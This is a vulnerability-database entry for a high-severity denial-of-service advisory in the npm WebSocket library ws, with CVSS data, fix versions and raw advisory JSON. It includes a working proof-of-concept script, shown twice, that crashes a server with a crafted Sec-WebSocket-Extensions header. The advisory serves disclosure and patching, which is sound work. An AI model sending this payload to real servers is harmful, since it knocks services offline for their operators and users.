Vulnerability-Lookup

GHSA-5V72-XG48-5RPM

Vulnerability from github – Published: 2019-06-04 19:37 – Updated: 2026-07-17 18:28

Summary

Denial of Service in ws

Details

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "1.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "3.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-04T19:37:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst net = require(\u0027net\u0027);\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = \u0027constructor\u0027;  // or \u0027,;constructor\u0027\n\n  const request = [\n    \u0027GET / HTTP/1.1\u0027,\n    \u0027Connection: Upgrade\u0027,\n    \u0027Sec-WebSocket-Key: test\u0027,\n    \u0027Sec-WebSocket-Version: 8\u0027,\n    `Sec-WebSocket-Extensions: ${payload}`,\n    \u0027Upgrade: websocket\u0027,\n    \u0027\\r\\n\u0027\n  ].join(\u0027\\r\\n\u0027);\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.",
  "id": "GHSA-5v72-xg48-5rpm",
  "modified": "2026-07-17T18:28:06Z",
  "published": "2019-06-04T19:37:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/websockets/ws"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:ws:20171108"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in ws"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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